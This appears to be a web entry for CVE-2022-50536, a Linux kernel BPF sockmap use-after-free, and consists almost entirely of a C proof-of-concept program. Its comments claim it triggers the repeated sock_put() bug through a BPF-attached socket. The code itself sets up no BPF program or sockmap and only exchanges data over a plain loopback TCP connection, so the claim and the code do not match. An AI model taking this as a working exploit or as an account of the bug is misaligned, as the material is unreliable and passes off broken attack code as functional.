CVE-2022-50536 Linux内核BPF sockmap sock_put()重复调用导致释放后使用漏洞

/* CVE-2022-50536 - Linux kernel BPF sockmap Use-After-Free PoC * This PoC demonstrates triggering the repeated sock_put() bug * by sending data through a BPF-attached TCP socket with more_data. * * Note: Requires CAP_BPF/CAP_NET_ADMIN or root, and a kernel < 6.0 affected by the bug. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <sys/types.h> #include <netinet/in.h> #include <netinet/tcp.h> #include <arpa/inet.h> #include <errno.h> #define SERVER_PORT 9090 #define BUF_SIZE 65536 #define NUM_ITERATIONS 100 int main(int argc, char *argv[]) { int srv_fd, cli_fd; struct sockaddr_in addr; char buf[BUF_SIZE]; /* Create server socket */ srv_fd = socket(AF_INET, SOCK_STREAM, 0); if (srv_fd < 0) { perror("socket"); return 1; } memset(&addr, 0, sizeof(addr)); addr.sin_family = AF_INET; addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK); addr.sin_port = htons(SERVER_PORT); if (bind(srv_fd, (struct sockaddr *)&addr, sizeof(addr)) < 0) { perror("bind"); return 1; } listen(srv_fd, 1); /* Fork to create client */ if (fork() == 0) { /* Client: connect and send large data to trigger more_data path */ close(srv_fd); cli_fd = socket(AF_INET, SOCK_STREAM, 0); usleep(100000); connect(cli_fd, (struct sockaddr *)&addr, sizeof(addr)); memset(buf, 'A', BUF_SIZE); /* Send multiple large chunks to trigger msg->more_data in tcp_bpf_send_verdict */ for (int i = 0; i < NUM_ITERATIONS; i++) { if (send(cli_fd, buf, BUF_SIZE, 0) < 0) { perror("send"); break; } } close(cli_fd); return 0; } /* Server: accept connection */ socklen_t len = sizeof(addr); cli_fd = accept(srv_fd, (struct sockaddr *)&addr, &len); if (cli_fd < 0) { perror("accept"); return 1; } /* Receive data - this triggers the BPF sockmap redirect path */ while (recv(cli_fd, buf, BUF_SIZE, 0) > 0) ; close(cli_fd); close(srv_fd); printf("PoC completed. Check dmesg for refcount warnings.\n"); return 0; }